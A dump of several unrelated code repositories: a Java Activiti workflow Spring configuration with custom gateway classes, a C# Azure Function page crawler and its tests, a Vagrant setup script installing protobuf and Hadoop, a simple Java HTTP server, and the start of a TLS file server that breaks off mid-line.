相关的操作。它提供了运行时任务查询、领取、完成、删除以及变量设置等功能。 * @param processEngine * @return */ @Bean(name="taskService") public TaskService taskService(ProcessEngine processEngine){ return processEngine.getTaskService(); } /** * HistoriyService:提供历史记录相关的方法,可查询历史任务(historic task instance),历史流程实例(historic process instance)等。 * History Service 用于获取正在运行或已经完成的流程实例的信息,与 Runtime Service 中获取的流程信息不同,历史信息包含已经持久化存储的永久信息,并已经被针对查询优化。 * @param processEngine * @return */ @Bean(name="historyService") public HistoryService historyService(ProcessEngine processEngine){ return processEngine.getHistoryService(); } /** * FormService:提供表单相关的方法,一个用户任务可对应一个formkey,可通过formkey查找表单,提供表单的获取等方法。 * Activiti 中的流程和状态 Task 均可以关联业务相关的数据。通过使用 Form Service 可以存取启动和完成任务所需的表单数据并且根据需要来渲染表单。 * @param processEngine * @return */ @Bean(name="formService") public FormService formService(ProcessEngine processEngine){ return processEngine.getFormService(); } /** * IdentityService:提供用户权限认证相关的方法,可查询用户、组等信息,可设置当前用户。 * Activiti 中内置了用户以及组管理的功能,必须使用这些用户和组的信息才能获取到相应的 Task。Identity Service 提供了对 Activiti 系统中的用户和组的管理功能。 * @param processEngine * @return */ @Bean(name="identityService") public IdentityService identityService(ProcessEngine processEngine){ return processEngine.getIdentityService(); } /** * ManagementService:与引擎配置相关,可获取引擎数据库信息,并且可以执行自定义的命令(command)。 * Management Service 提供了对 Activiti 流程引擎的管理和维护功能,这些功能不在工作流驱动的应用程序中使用,主要用于 Activiti 系统的日常维护。 * @param processEngine * @return */ @Bean(name="managementService") public ManagementService managementService(ProcessEngine processEngine){ return processEngine.getManagementService(); } /** * 提供动态获取,以及动态修改流程定义的方法。 * @param processEngine * @return */ @Bean(name="processEngineConfiguration") public ProcessEngineConfiguration processEngineConfiguration(ProcessEngine processEngine){ return processEngine.getProcessEngineConfiguration(); } } <file_sep>/src/main/java/com/workflow/activiti/gateway/CustomInclusiveGateway.java package com.workflow.activiti.gateway; import org.activiti.engine.impl.bpmn.behavior.InclusiveGatewayActivityBehavior; import org.activiti.engine.impl.pvm.delegate.ActivityExecution; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; /** * 自定义 相容网关 * @author xiams * @version 1.0 * @date 2017-06-28 15:58:56 */ @Component public class CustomInclusiveGateway extends InclusiveGatewayActivityBehavior{ private static final long serialVersionUID = 1L; private static Logger log = LoggerFactory.getLogger(CustomInclusiveGateway.class); public void execute(ActivityExecution execution) throws Exception { log.info("自定义 相容网关:--->"); super.execute(execution); } } <file_sep>/src/main/java/com/workflow/activiti/gateway/CustomParallelGateway.java package com.workflow.activiti.gateway; import org.activiti.engine.impl.bpmn.behavior.ParallelGatewayActivityBehavior; import org.activiti.engine.impl.pvm.delegate.ActivityExecution; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; /** * 自定义 并行网关 * @author xiams * @version 1.0 * @date 2017-06-28 16:07:28 */ @Component public class CustomParallelGateway extends ParallelGatewayActivityBehavior { private static final long serialVersionUID = 1L; private static Logger log = LoggerFactory.getLogger(CustomParallelGateway.class); public void execute(ActivityExecution execution) throws Exception { log.info("自定义 并行网关:-----------"); super.execute(execution); } } <file_sep>/src/test/java/com/workflow/activiti/AbstractTestBase.java package com.workflow.activiti; import org.junit.runner.RunWith; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit4.SpringRunner; import com.google.gson.Gson; import com.workflow.Application; @RunWith(SpringRunner.class) @SpringBootTest(classes = {Application.class}, webEnvironment = SpringBootTest.WebEnvironment.DEFINED_PORT) public abstract class AbstractTestBase { public static Logger log = LoggerFactory.getLogger(AbstractTestBase.class); public static Gson gson = new Gson(); } <file_sep>/README.md # workflow 备注: 1. 以serviceTask为例,delegateExpression是引用一个JavaDelegate实现bean,具体的操作在这个bean中定义;而expression则可以写成#{loggerHandler.log()} 这样的,表达式本身就是要做的操作。 /** * execute方法的参数DelegateExecution execution可以在流程中各个结点之间传递流程变量。 *上述流程定义中,4个任务结点对应的处理类 * <activiti:taskListener>元素的event属性,它一共包含三种事件:"create"、"assignment"、"complete",分别表示结点执行处理逻辑的时机为:在处理类实例化时、 * 在结点处理逻辑被指派时、在结点处理逻辑执行完成时,可以根据自己的需要进行指定。 * <userTask id="servicetask2" name="产品经理同意"> <extensionElements> <activiti:taskListener event="complete" class="com.easyway.workflow.activiti.gateway.ProductManagerUserTaskListener"/> </extensionElements> * </userTask> * * 排他网关(ExclusiveGateWay) * **/ /** * 配置多数据源 时 分页组件 @Primary 所在主数据源 不需要配置分页组件,其他的每个数据源都需要配置分页组件!!!!! 20170915 * 多数据源配置:http://blog.csdn.net/clementad/article/details/51776151 * **/ <file_sep>/src/main/java/com/workflow/activiti/gateway/CustomEventGateway.java package com.workflow.activiti.gateway; import org.activiti.engine.impl.bpmn.behavior.EventBasedGatewayActivityBehavior; import org.activiti.engine.impl.pvm.delegate.ActivityExecution; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Component; /** * 自定义 事件网关 * @author xiams * @version 1.0 * @date 2017-06-28 16:19:10 */ @Component public class CustomEventGateway extends EventBasedGatewayActivityBehavior{ private static final long serialVersionUID = 1L; private Logger log = LoggerFactory.getLogger(CustomEventGateway.class); @Override public void execute(ActivityExecution execution) throws Exception { log.info("自定义 事件网关:---->"); // the event based gateway doesn't really do anything // ignoring outgoing sequence flows (they're only parsed for the diagram) } } <file_sep>/src/test/java/com/workflow/activiti/test/Apply2Test.java package com.workflow.activiti.test; import java.util.HashMap; import java.util.List; import java.util.Map; import org.activiti.engine.ProcessEngine; import org.activiti.engine.RuntimeService; import org.activiti.engine.TaskService; import org.activiti.engine.runtime.ProcessInstance; import org.activiti.engine.task.Task; import org.activiti.engine.test.ActivitiRule; import org.activiti.engine.test.Deployment; import org.junit.Rule; import org.junit.Test; import org.springframework.beans.factory.annotation.Autowired; import com.workflow.activiti.AbstractTestBase; public class Apply2Test extends AbstractTestBase{ @Autowired private RuntimeService runtimeService; // 注入运行服务类 @Autowired private TaskService taskService; // 注入任务服务类 /** * 配置activiti的规则 */ @Autowired private ProcessEngine processEngine; @Rule public ActivitiRule activitiRule (){ return new ActivitiRule(processEngine); } /**activit 配置activiti的规则 end**/ /** * 测试部署流程 */ @Test @Deployment(resources="processes/apply2.bpmn") public void deploymentProcessTest() { // 根据key来启动流程实例 ProcessInstance processInstance = runtimeService.startProcessInstanceByKey("myProcess"); // 获取单个任务 List<Task> tasks = taskService.createTaskQuery().deploymentId(processInstance.getDeploymentId()).taskAssignee("usertask_1").list(); log.info("tasks.size:==>{}", tasks.size()); for (Task task : tasks) { String taskId = task.getId(); String assignee = task.getAssignee(); String taskName = task.getName(); log.info("taskId: {}, assignee: {}, taskName:{} ", taskId, assignee, taskName); Map<String, Object> value = new HashMap<>(); value.put("skip", 0); taskService.complete(taskId, value); } } } <file_sep>/src/main/java/com/workflow/service/CustomUserService.java package com.workflow.service; import org.springframework.stereotype.Service; /** * 用户管理 * @author xiams * @version 1.0 * @date 2017-06-28 15:40:05 */ @Service public class CustomUserService { } <file_sep>/src/main/java/com/workflow/service/CustomGroupService.java package com.workflow.service; import org.springframework.stereotype.Service; /** * 组织管理 * @author xiams * @version 1.0 * @date 2017-06-28 15:40:12 */ @Service public class CustomGroupService { }
9c52c7898ffdef2221e6bfe78eb6211f5155dbeb
[ "Markdown", "Java" ]
9
Java
xia1157089927/workflow
816f258510b5937ca4fbcbe05dc2214f3d7a673f
52f75e092442aa71ec0e19bebb58e55b02c6662d
refs/heads/master
<repo_name>akhan2003/ApiHomeWork<file_sep>/SPR.HomeWork.Api/SPR.HomeWork.Api/Constants/PersonEnums.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace SPR.HomeWork.Api.Constants { public class PersonEnums { public enum SortCriteria { Gender, Name, DOB } } }<file_sep>/SPR.HomeWork.Api/SPR.HomeWork.Repository/IPersonRepository.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; using SPR.HomeWork.Models; namespace SPR.HomeWork.Repository { interface IPersonRepository { IEnumerable<Person> GetAll(); Person Get(int id); Person Add(Person person); } }<file_sep>/SPR.HomeWork.Api/SPR.HomeWork.Client.Tests/FileReaderTests.cs using System; using Microsoft.VisualStudio.TestTools.UnitTesting; using System.Configuration; using SPR.HomeWork.Client; using System.Collections.Generic; using SPR.HomeWork.Models; using System.Linq; using System.IO; using System.Net.Http; namespace SPR.HomeWork.Client.Tests { [TestClass] public class FileReaderTests { [TestMethod] public void TestParseLinePipeDelimited() { string line = "Tom | Smith | Male | Black | 01/01/1980"; string[] words = FileReader.ParseLine(line); Assert.AreEqual(5, words.Length); } [TestMethod] public void TestParseLineCommaDelimited() { string line = "Tom,Smith,Male,Black,01/01/1980"; string[] words = FileReader.ParseLine(line); Assert.AreEqual(5, words.Length); } [TestMethod] public void TestParseLineSpaceDelimited() { string line = "Tom Smith Male Black 01/01/1980"; string[] words = FileReader.ParseLine(line); Assert.AreEqual(5, words.Length); } [TestMethod] public void TestSortListByGenderAndLastName() { var testPersons = new List<Person>(); testPersons.Add(new Person { Id = 1, FirstName = "Joe", LastName = "Adams", Gender = "Male", FavoriteColor = "Red", DateOfBirth = new DateTime(1983, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Jane", LastName = "Black", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1982, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Steve", LastName = "Charlie", Gender = "Male", FavoriteColor = "Blue", DateOfBirth = new DateTime(1980, 1, 18) }); var actual = FileReader.SortList(testPersons, "Gender"); var expected = testPersons.OrderBy(person => person.Gender).ThenBy(person => person.LastName).ToList(); Assert.IsTrue(expected.SequenceEqual(actual)); } [TestMethod] public void TestSortListByLastNameDescending() { var testPersons = new List<Person>(); testPersons.Add(new Person { Id = 1, FirstName = "Joe", LastName = "Adams", Gender = "Male", FavoriteColor = "Red", DateOfBirth = new DateTime(1983, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Jane", LastName = "Black", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1982, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Steve", LastName = "Charlie", Gender = "Male", FavoriteColor = "Blue", DateOfBirth = new DateTime(1980, 1, 18) }); var actual = FileReader.SortList(testPersons, "Name"); var expected = testPersons.OrderByDescending(person => person.LastName).ToList(); Assert.IsTrue(expected.SequenceEqual(actual)); } [TestMethod] public void TestSortListByDOBAcsending() { var testPersons = new List<Person>(); testPersons.Add(new Person { Id = 1, FirstName = "Joe", LastName = "Adams", Gender = "Male", FavoriteColor = "Red", DateOfBirth = new DateTime(1983, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Jane", LastName = "Black", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1982, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Steve", LastName = "Charlie", Gender = "Male", FavoriteColor = "Blue", DateOfBirth = new DateTime(1980, 1, 18) }); var actual = FileReader.SortList(testPersons, "DOB"); var expected = testPersons.OrderBy(person => person.DateOfBirth).ToList(); Assert.IsTrue(expected.SequenceEqual(actual)); } [TestMethod] public void TestShowPerson() { var currentConsoleOut = Console.Out; Person person = new Person { Id = 1, FirstName = "Jane", LastName = "Blake", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1989, 1, 18) }; string expected = "FirstName: Jane\tLastName: Blake\tGender: Female\tFavoriteColor: Blue\tDateOfBirth: 1/18/1989\n"; using (var consoleOutput = new ConsoleOutput()) { FileReader.ShowPerson(person); Assert.AreEqual(expected, consoleOutput.GetOuput()); } Assert.AreEqual(currentConsoleOut, Console.Out); } [TestMethod] public void TestShowPersons() { var currentConsoleOut = Console.Out; var testPersons = new List<Person>(); testPersons.Add(new Person { Id = 1, FirstName = "Joe", LastName = "Adams", Gender = "Male", FavoriteColor = "Red", DateOfBirth = new DateTime(1983, 1, 18) }); testPersons.Add(new Person { Id = 2, FirstName = "Jane", LastName = "Blake", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1982, 1, 18) }); string expected = "FirstName: Joe\tLastName: Adams\tGender: Male\tFavoriteColor: Red\tDateOfBirth: 1/18/1983\n" + "FirstName: Jane\tLastName: Blake\tGender: Female\tFavoriteColor: Blue\tDateOfBirth: 1/18/1982\n"; using (var consoleOutput = new ConsoleOutput()) { FileReader.ShowPersons(testPersons); Assert.AreEqual(expected, consoleOutput.GetOuput()); } Assert.AreEqual(currentConsoleOut, Console.Out); } [TestMethod] public void TestReadFile() { var testPersons = new List<Person>(); testPersons = FileReader.ReadFile("D:\\HomeWork\\ApiHomeWork\\SPR.HomeWork.Api\\SPR.HomeWork.Client\\SampleFiles\\personfile-pipedelimited.txt"); Assert.AreEqual(testPersons.Count, 3); } [TestMethod] public void TestGetPersonApi() { string baseAddress = "http://localhost:52888/"; HttpClient conn = new HttpClient(); //Provide the base address of tha API. Move to config file conn.BaseAddress = new Uri(baseAddress); conn.DefaultRequestHeaders.Accept.Clear(); //set Accept Header to send the data in JSON format conn.DefaultRequestHeaders.Accept.Add(new System.Net.Http.Headers.MediaTypeWithQualityHeaderValue("application/json")); var currentConsoleOut = Console.Out; string expected = "FirstName: Joe\tLastName: Schmoe\tGender: Male\tFavoriteColor: Red\tDateOfBirth: 1/18/1980\n" + "FirstName: Jane\tLastName: Schmoe\tGender: Female\tFavoriteColor: Blue\tDateOfBirth: 1/18/1982\n" + "FirstName: Steve\tLastName: Jobs\tGender: Male\tFavoriteColor: Blue\tDateOfBirth: 1/18/1983\n"; using (var consoleOutput = new ConsoleOutput()) { FileReader.GetPersonsAsync(conn).Wait(); Assert.AreEqual(expected, consoleOutput.GetOuput()); } Assert.AreEqual(currentConsoleOut, Console.Out); } //reference:http://www.vtrifonov.com/2012/11/getting-console-output-within-unit-test.html public class ConsoleOutput : IDisposable { private StringWriter stringWriter; private TextWriter originalOutput; public ConsoleOutput() { stringWriter = new StringWriter(); originalOutput = Console.Out; Console.SetOut(stringWriter); } public string GetOuput() { return stringWriter.ToString(); } public void Dispose() { Console.SetOut(originalOutput); stringWriter.Dispose(); } } } } <file_sep>/SPR.HomeWork.Api/SPR.HomeWork.Client/FileReader.cs using System; using System.Collections.Generic; using System.Net; using System.Net.Http; using System.Net.Http.Headers; using System.Threading.Tasks; using Newtonsoft.Json; using SPR.HomeWork.Models; using System.Configuration; using System.IO; using System.Linq; using System.Globalization; namespace SPR.HomeWork.Client { public class FileReader { static HttpClient client = new HttpClient(); static void Main() { List<Person> persons; List<Person> sortedPersons; string filePath1 = ConfigurationManager.AppSettings.Get("filePath-pipe"); string currentDirectory = Directory.GetCurrentDirectory(); string currentDirectory2 = Directory.GetParent(Directory.GetParent(currentDirectory).ToString()).ToString(); filePath1 = System.IO.Path.Combine(currentDirectory2, "SampleFiles", filePath1); persons = ReadFile(filePath1); System.Console.WriteLine("Sorted by Gender...."); sortedPersons = SortList(persons, "Gender"); ShowPersons(sortedPersons); System.Console.WriteLine("Sorted by Name...."); sortedPersons = SortList(persons, "Name"); ShowPersons(sortedPersons); System.Console.WriteLine("Sorted by DOB...."); sortedPersons = SortList(persons, "DOB"); ShowPersons(sortedPersons); //Here is a complete example of how to call the HomeWork Api. System.Console.WriteLine("Calling Rest Service...."); CallRestService(); // Keep the console window open. Console.WriteLine("Press any key to exit."); System.Console.ReadKey(); } public static List<Person> ReadFile(string filePath) { string[] lines; if (!File.Exists(filePath)) { throw new FileNotFoundException(); } else { lines = System.IO.File.ReadAllLines(filePath); } // Display the file contents by using a foreach loop. System.Console.WriteLine("Contents of file: " + filePath); var persons = new List<Person>(); Person person; foreach (string line in lines) { string[] splittedLines = ParseLine(line); string format = "M/d/yyyy"; CultureInfo provider = CultureInfo.InvariantCulture; person = new Person(); person.FirstName = splittedLines[0]; person.LastName = splittedLines.Length > 1 ? splittedLines[1] : null; person.Gender = splittedLines.Length > 2 ? splittedLines[2] : null; person.FavoriteColor = splittedLines.Length > 3 ? splittedLines[3] : null; person.DateOfBirth = DateTime.ParseExact(splittedLines[4], format, new CultureInfo("en-US")); persons.Add(person); } return persons; } public static List<Person> SortList(List<Person> persons, string SortCriteria) { List<Person> sortedPersons = new List<Person>(); if (SortCriteria == "Gender") sortedPersons = persons.OrderBy(person => person.Gender).ThenBy(person => person.LastName).ToList(); else if (SortCriteria == "Name") sortedPersons = persons.OrderByDescending(person => person.LastName).ToList(); else if (SortCriteria == "DOB") sortedPersons = persons.OrderBy(person => person.DateOfBirth).ToList(); return sortedPersons; } public static string[] ParseLine(string line) { string[] delimiters = { "|", ",", " " }; string[] words = line.Split(delimiters, System.StringSplitOptions.RemoveEmptyEntries); return words; } public static void CallRestService() { string baseAddress = ConfigurationManager.AppSettings.Get("base-address"); HttpClient conn = new HttpClient(); //Provide the base address of tha API. Move to config file conn.BaseAddress = new Uri(baseAddress); conn.DefaultRequestHeaders.Accept.Clear(); //set Accept Header to send the data in JSON format conn.DefaultRequestHeaders.Accept.Add(new System.Net.Http.Headers.MediaTypeWithQualityHeaderValue("application/json")); GetPersonsAsync(conn).Wait(); //GetPersonsAsync(conn).GetAwaiter().GetResult(); } //static async Task GetPersonAsync(HttpClient conn) //{ // using (conn) // { // HttpResponseMessage response = await conn.GetAsync("api/Person/2"); // response.EnsureSuccessStatusCode(); // if (response.IsSuccessStatusCode) // { // Person person = await response.Content.ReadAsAsync<Person>(); // ShowPerson(person); // Console.ReadLine(); // } // } //} public static async Task GetPersonsAsync(HttpClient conn) { List<Person> persons = new List<Person>(); using (conn) { HttpResponseMessage response = await conn.GetAsync("api/Persons"); response.EnsureSuccessStatusCode(); if (response.IsSuccessStatusCode) { var jsonString = await response.Content.ReadAsStringAsync(); var objData = JsonConvert.DeserializeObject<List<Person>>(jsonString); foreach (Person person in objData) persons.Add(person); ShowPersons(persons); } } } public static void ShowPerson(Person person) { Console.Write($"FirstName: {person.FirstName}\tLastName: " + $"{person.LastName}\tGender: {person.Gender}\tFavoriteColor: " + $"{person.FavoriteColor}\tDateOfBirth: {person.DateOfBirth.ToShortDateString()}" + "\n"); } public static void ShowPersons(List<Person> persons) { foreach (Person person in persons) { Console.Write($"FirstName: {person.FirstName}\tLastName: " + $"{person.LastName}\tGender: {person.Gender}\tFavoriteColor: " + $"{person.FavoriteColor}\tDateOfBirth: {person.DateOfBirth.ToShortDateString()}" + "\n"); } } } } <file_sep>/README.md # ApiHomeWork Home Work Assignment Examples on how to call the API to sort by an data field in any direction. Sorting By Gender Descending:  /api/persons/?sort=-Gender Sorting By Gender Ascending: /api/persons/?sort=Gender <file_sep>/SPR.HomeWork.Api/SPR.HomeWork.Repository/PersonRepository.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; using SPR.HomeWork.Models; namespace SPR.HomeWork.Repository { public class PersonRepository: IPersonRepository { private List<Person> persons = new List<Person>(); private int _personId = 1; public PersonRepository() { Add(new Person { FirstName = "Joe", LastName = "Schmoe", Gender = "Male", FavoriteColor = "Red", DateOfBirth = new DateTime(1980, 1, 18)}); Add(new Person { FirstName = "Jane", LastName = "Schmoe", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1982, 1, 18)}); Add(new Person { FirstName = "Steve", LastName = "Jobs", Gender = "Male", FavoriteColor = "Blue", DateOfBirth = new DateTime(1983, 1, 18) }); } public IEnumerable<Person> GetAll() { return persons; } public Person Get(int id) { return persons.Find(p => p.Id == id); } public Person Add(Person person) { if (person == null) { throw new ArgumentNullException("person"); } person.Id = _personId++; persons.Add(person); return person; } } }<file_sep>/SPR.HomeWork.Api/SPR.HomeWork.Api.Tests/TestPersonController.cs using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Web.Http.Results; using Microsoft.VisualStudio.TestTools.UnitTesting; using SPR.HomeWork.Api.Controllers; using SPR.HomeWork.Models; using SPR.HomeWork.Repository; using SPR.HomeWork.Api.Constants; namespace SPR.HomeWork.Api.Tests { [TestClass] public class TestPersonController { [TestMethod] public void TestGet() { var controller = new PersonController(); //var testPersons = GetTestPersons(); var result = controller.Get(); var contentResult = result as OkNegotiatedContentResult<IEnumerable<Person>>; Assert.IsNotNull(contentResult); } public List<Person> GetTestPersons() { var testPersons = new List<Person>(); testPersons.Add(new Person { Id = 1, FirstName = "Joe", LastName = "Schmoe", Gender = "Male", FavoriteColor = "Red", DateOfBirth = new DateTime(1983, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Jane", LastName = "Schmoe", Gender = "Female", FavoriteColor = "Blue", DateOfBirth = new DateTime(1982, 1, 18) }); testPersons.Add(new Person { Id = 1, FirstName = "Steve", LastName = "Jobs", Gender = "Male", FavoriteColor = "Blue", DateOfBirth = new DateTime(1980, 1, 18)}); return testPersons; } } }
9ba4b93f1e2f7b57f461b01ff5a7cffc0571641a
[ "Markdown", "C#" ]
7
C#
akhan2003/ApiHomeWork
c103c9607956818c85c8b6ff884ab24d91f75dcb
5c0d3058979385486e2912d3c4d4c506fdf54db1
refs/heads/master
<file_sep>#include <cstdio> using namespace std; int main() { printf("I am NameNode.\n"); } <file_sep># Rice-HDFS The current plan is to store all our code in this one repo, with separate directories for nameNode, dataNode, and code is needed by both (such as various protocals). We'll add more as we need them. Check the wiki for documentation! # Development 1. Install [Virtualbox](https://www.virtualbox.org/). Works with 5.1. 2. Install [Vagrant](https://vagrantup.com/). Works with 1.8.5. 3. `vagrant up` (takes 17 minutes from scratch for me) - I (Stu) had to "sudo" these commands - Make sure to do this from the repo directory (otherwise it asks for vagrant install) 4. `vagrant ssh`. 5. You should be in the development environment. Things to know: - The username is `vagrant` and the password is `<PASSWORD>`. - The machine has 1G of memory allocated. Change Vagrantfile if you need more. - The folder /home/vagrant/rdfs is synced from here (here being the location of this readme), meaning that all edits you make to files under the project are immediately reflected in the dev machine. - Hadoop binaries such as `hdfs` are on the PATH. - Google protobuf 3.0 is installed, you can run `protoc` to generate C++ headers from .proto specifications. - If you need external HTTP access, the machine is bound to the address 33.33.33.33. # Building ``` mkdir build cd build cmake .. make ``` You will see a sample executable placed in `build/rice-namenode/namenode.` The compiled protocols are in `build/proto`. <file_sep>project(rdfs) cmake_minimum_required(VERSION 2.8) find_package(Protobuf REQUIRED) add_subdirectory(proto) add_subdirectory(rice-namenode) add_definitions(-std=c++11) <file_sep>#!/bin/sh # Provisioning the vagrant box for development on RDFS. set -e set -x apt-get update # clean out redundant packages from vagrant base image apt-get autoremove -y # Install some basics apt-get install -y language-pack-en zip unzip curl apt-get install -y git build-essential cmake automake autoconf libtool wget --quiet https://github.com/google/protobuf/releases/download/v3.0.0/protobuf-cpp-3.0.0.tar.gz tar -xf protobuf-cpp-3.0.0.tar.gz rm protobuf-cpp-3.0.0.tar.gz cd protobuf-3.0.0; ./autogen.sh && ./configure --prefix=/usr && make && make check && make install cd /home/vagrant/; ldconfig # Install and setup dependencies of hadoop apt-get install -y ssh pdsh openjdk-8-jdk-headless # passphraseless ssh ssh-keygen -b 2048 -t rsa -f /home/vagrant/.ssh/id_rsa -N "" cp /home/vagrant/.ssh/id_rsa.pub /home/vagrant/.ssh/authorized_keys # Setup Apache hadoop for pseudo-distributed usage wget --quiet http://mirror.olnevhost.net/pub/apache/hadoop/common/hadoop-2.7.3/hadoop-2.7.3.tar.gz tar -xf hadoop-2.7.3.tar.gz mv hadoop-2.7.3 /home/vagrant/hadoop rm hadoop-2.7.3.tar.gz echo 'export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre' >> /home/vagrant/.bashrc echo 'export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre' >> /home/vagrant/hadoop/etc/hadoop/hadoop-env.sh cat > /home/vagrant/hadoop/etc/core-site.xml <<EOF <configuration> <property> <name>fs.defaultFS</name> <value>hdfs://localhost:9000</value> </property> </configuration> EOF cat > /home/vagrant/hadoop/etc/hdfs-site.xml <<EOF <configuration> <property> <name>dfs.replication</name> <value>1</value> <name>dfs.name.dir</name> <value>/home/vagrant/hadoop/cache/dfs/name</value> </property> </configuration> EOF # add hadoop to path echo 'export PATH=/home/vagrant/hadoop/bin:$PATH' >> /home/vagrant/.bashrc # TODO: Setup Apache zookeeper # Put everything under /home/vagrant and /home/vagrant/.ssh. chown -R vagrant:vagrant /home/vagrant/* chown -R vagrant:vagrant /home/vagrant/.ssh/* <file_sep>add_executable(namenode main.cc)
5fab8c8f2507745fe53943b9dd322e0a4b051f5c
[ "Markdown", "CMake", "C++", "Shell" ]
5
C++
Rice-Comp413-2016/Rice-HDFS
754fc27519f9a2c8239d92462e09cb89a7c5f38a
081b13a2a396e66c275d3a78240950d983b5ea41
refs/heads/master
<file_sep>using System; using System.IO; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.Logging; using Newtonsoft.Json; using HtmlAgilityPack; using System.Collections.Generic; using System.Linq; namespace PageCrawlAPI { public static class PageCrawlAPI { public static string StringStorage = ""; public static string ExtractHref(string URL) { var urlhost=new Uri(URL).Host; var protocol = new Uri(URL).Scheme; Console.WriteLine(protocol + urlhost); HtmlWeb web = new HtmlWeb(); HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument(); doc = web.Load(URL); var uri = ""; List<string> Result = new List<string>(); StringStorage = StringStorage + "\"" + URL + "\"" + ","; // extracting all links var linkss = doc.DocumentNode.SelectNodes("//a[@href]"); try { Console.WriteLine(linkss.Count); foreach (HtmlNode link in linkss) { Console.WriteLine(link.Attributes["href"].Value); HtmlAttribute att = link.Attributes["href"]; var linkhost = urlhost; // showing output uri = att.Value; if (!uri.StartsWith("/")) { try { linkhost = new Uri(uri).Host; } catch (Exception) { Console.WriteLine("link failed on no host"); } } if (uri.StartsWith("/") || linkhost.Contains(urlhost)) { if (uri.StartsWith("/")) { uri = protocol + "://www." + linkhost + uri; Result.Add(uri); Console.WriteLine(uri); } } } } catch (Exception) { Console.WriteLine("3"); } var noDupes = Result.Distinct().ToList(); var Output1 = "["; foreach (var lst in noDupes) { Output1 += "\""+lst +"\""+ ","; } if (Output1.Contains(",")) Output1 = Output1.Remove(Output1.LastIndexOf(",")); Output1 = Output1 + "]"; var results = String.Join(", ", noDupes.ToArray()); return Output1; } [FunctionName("PageCrawlAPI")] public static async Task<IActionResult> Run( [HttpTrigger(AuthorizationLevel.Function, "get", "post", Route = null)] HttpRequest req, ILogger log) { log.LogInformation("C# HTTP trigger function processed a request."); string url = req.Query["url"]; if (!url.Contains("://")) url = "http://" + url; string requestBody = await new StreamReader(req.Body).ReadToEndAsync(); dynamic data = JsonConvert.DeserializeObject(requestBody); url = url ?? data?.url; Console.WriteLine(url); var output= ExtractHref(url); return new OkObjectResult(output); } } }
a06b572ee3008811bf36ef69ffec68fa59a20665
[ "C#" ]
1
C#
amanwadhwa08/PageCrawlAPI
5e8282cfef77dd111b4642b95b2ea9160ac0851f
857c250b4a36bfbbfc49cdf16bb9a2828edfcef3
refs/heads/master
<file_sep>//favicon sourced from https://www.favicon-generator.org import java.net.*; import java.io.*; import java.util.*; import java.text.SimpleDateFormat; class HttpServerSession extends Thread { private Socket httpServerSessionSocket; private BufferedReader reader; private BufferedOutputStream writer; private String fileName; private Date date; private SimpleDateFormat df; private FileInputStream fin; HttpServerSession(Socket connectionSocket) { httpServerSessionSocket = connectionSocket; System.out.println("Connection on port " + connectionSocket.getPort()); date = new Date(); df = new SimpleDateFormat("E, dd MMM yyyy HH:mm:ss z"); } public void run() { try { reader = new BufferedReader(new InputStreamReader(httpServerSessionSocket.getInputStream())); writer = new BufferedOutputStream(httpServerSessionSocket.getOutputStream()); Boolean wellFormed = processRequest(); if (wellFormed) { File page = new File(fileName); sendResponse(page); } else { } httpServerSessionSocket.close(); } catch ( IOException e) { System.err.println("IO Error" + e.getMessage()); } } private Boolean processRequest() throws IOException { String request = reader.readLine(); String parts[] = request.split(" "); while (true) { String line = reader.readLine(); if (line == null) { return false; } if (line.compareTo("") == 0) { break; } } if (parts.length != 3) { return false; } else { if (parts[0].compareTo("GET") == 0) { if (parts[1].substring(1).isEmpty()) { fileName = "index.html"; } else { fileName = parts[1].substring(1); } System.out.println(fileName); } return true; } } private void sendResponse(File page) throws IOException { if (page.exists()) { fin = new FileInputStream(page); System.out.println("Sending Response"); println(writer, "HTTP/1.1 200 OK"); println(writer, "Date: " + df.format(date)); println(writer, ""); SendFile(fin); } else { send404(); } } private void send404() throws IOException { println(writer, "HTTP/1.1 404 File Not Found"); println(writer, ""); println(writer, "File not found"); } private void send500() throws IOException { println(writer, "HTTP/1.1 500 Internal Server Error"); println(writer, ""); println(writer, "<h1>Internal Server Error</h1><p>Please try again later</p>"); } private void SendFile(FileInputStream fin) throws IOException { byte[] array = new byte[10240]; while (fin.read(array) != -1) { writer.write(array); writer.flush(); // try { // Thread.sleep(1000); // } catch (InterruptedException e) { // } } } private void println(BufferedOutputStream bos, String s) throws IOException { String news = s + "\r\n"; byte[] array = news.getBytes(); for (int i = 0; i < array.length; i++) { bos.write(array[i]); } bos.flush(); return; } } class HttpServer { public static void main(String args[]) { try { // write something to the console here ServerSocket serverSocket = new ServerSocket(8080); while (true) { HttpServerSession session = new HttpServerSession(serverSocket.accept()); session.start(); } // serverSocket.close(); } catch (IOException e) { } } }<file_sep>import java.io.*; import java.security.KeyStore; import javax.net.ssl.*; class MyTLSFileServer { //private BufferedReader reader; public static void main(String[] args) { try { int port = Integer.parseInt(args[0]); SSLContext ctx = SSLContext.getInstance("TLS"); 